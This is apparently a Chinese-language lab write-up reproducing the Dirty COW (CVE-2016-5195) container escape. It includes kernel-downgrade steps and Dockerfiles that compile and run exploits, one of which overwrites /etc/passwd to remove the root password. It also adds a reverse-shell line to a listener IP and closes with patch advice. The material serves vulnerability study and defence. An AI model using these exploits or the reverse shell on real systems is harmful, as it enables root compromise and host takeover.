影响版本

内核版本在 2.6.22 至 4.8

CentOS:CentOS 5.x、6.x、7.x 的 32 位和 64 位版本。

Debian:Debian 6.x 32 位、Debian 7.x 的 32 位和 64 位版本、Debian 8.x 的 32 位和 64 位版本。

Ubuntu:Ubuntu Server 10.04.1 LTS 的 32 位和 64 位版本、Ubuntu Server 12.04.1 LTS 的 32 位和 64 位版本、Ubuntu Server 14.04.1 LTS 的 32 位和 64 位版本。

Red Hat:Red Hat Enterprise Linux 5、6、7;Red Hat Enterprise MRG 2;Red Hat OpenShift Online V2;Red Hat Virtualization(RHEV-H/RHV-H)。

漏洞原理

容器逃逸中的核心原理是利用 Linux 内核写时复制(Copy-on-Write, COW)机制的竞态条件,突破容器的隔离限制,实现从容器到宿主机的权限提升。

容器与宿主机共享同一内核,若宿主机内核版本在 2.6.22 至 4.8 之间且未打补丁,容器内的攻击者可直接利用 Dirty Cow 漏洞。即使容器通过命名空间(Namespace)实现进程、文件系统等资源隔离,内核漏洞仍能绕过这些机制,直接操作宿主机内存空间。

环境搭建

选择 2.6.22 至 4.8 之间未打补丁的内核(如 Ubuntu 12.04 LTS、Ubuntu 14.04 LTS、CentOS 7),记得看一下内核版本,我用的内核高了没成功,降了一次级。

image

1
2
3
4
5
6
7
8
9
10
11
# 下载未修复的内核镜像包(3.10.0-327.36.2.el7)
wget http://vault.centos.org/7.2.1511/updates/x86_64/Packages/kernel-3.10.0-327.36.2.el7.x86_64.rpm
sudo rpm -ivh --oldpackage kernel-3.10.0-327.36.2.el7.x86_64.rpm
rpm -qa | grep kernel | grep 3.10.0-327.36.2
# 查看内核启动顺序(找到 3.10.0-327.36.2.el7 对应的索引)
sudo awk -F\' '$1=="menuentry " {print i++ " : " $2}' /etc/grub2.cfg

# 设置旧内核为默认启动项(假设索引为 0)
sudo grub2-set-default 0
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
sudo reboot

POC,下载一下POC在Dockerfile的目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FROM ubuntu:14.04

# 更新软件源并安装必要工具
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y gcc


# 创建工作目录
RUN mkdir /dirtycow

# 下载dirtyc0w.c漏洞利用代码放进容器
COPY dirtyc0w.c /dirtycow/dirtyc0w.c

# 进入工作目录并编译漏洞利用程序
WORKDIR /dirtycow
RUN gcc -pthread dirtyc0w.c -o dirtyc0w -lcrypt


# 容器启动时进入bash
#CMD ["/bin/bash"]
CMD ["./dirtyc0w", "/etc/passwd", "root::0:0:root:/root:/bin/bash"]

修改一下dirtyc0w.c,增加反弹shell的代码

1
2
3
4
5
6
7
8
9
10
11
*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);

// 连接 192.168.247.129 的 3333 端口,反弹 bash
system("bash -i >& /dev/tcp/192.168.247.129/3333 0>&1 &");


return 0;

在包含Dockerfile的目录下,使用以下命令构建 Docker 镜像:

1
docker build -t cve-2016-5195-pro .

下载太慢了,中途下载了个proxychains丢进去安装了一下

1
2
3
4
5
6
7
8
9
sudo yum install -y git gcc make
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
sudo make install-config
sudo vim /etc/proxychains.conf
socks5 IP 7890

漏洞复现

dirtyc0w

1
2
# CMD ["./dirtyc0w", "/etc/passwd", "root::0:0:root:/root:/bin/bash"] 运行即可触发
docker run -it --network=host cve-2016-5195-pro /bin/bash

image

dirtycow-vdso

POC 这个对内核要求太高了,环境建议Ubuntu 14.043.13.0-100-generic 之前的版本,Debian 8 系列:内核版本 3.16.x4.4.x(未修复漏洞的版本)。不好搞,放个代码

1
2
3
4
5
6
7
FROM ubuntu:14.04
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y nasm
RUN apt-get install -y git
RUN mkdir /dirtycow
COPY dirtycow-vdso /dirtycow-vdso

在包含Dockerfile的目录下,使用以下命令构建 Docker 镜像:

1
2
3
4
5
docker build -t cve-2016-5195-next .
docker run -it cve-2016-5195-next /bin/bash
cd dirtycow-vdso
make
./0xdeadbeef 192.168.247.129:3333

修复建议

升级内核,对应的发版如下

  • CentOS 7:kernel-3.10.0-327.36.3.el7 及以上
  • Ubuntu 14.04:linux-image-3.13.0-100-generic 及以上
  • Debian 8:linux-image-3.16.0-4-amd64 及以上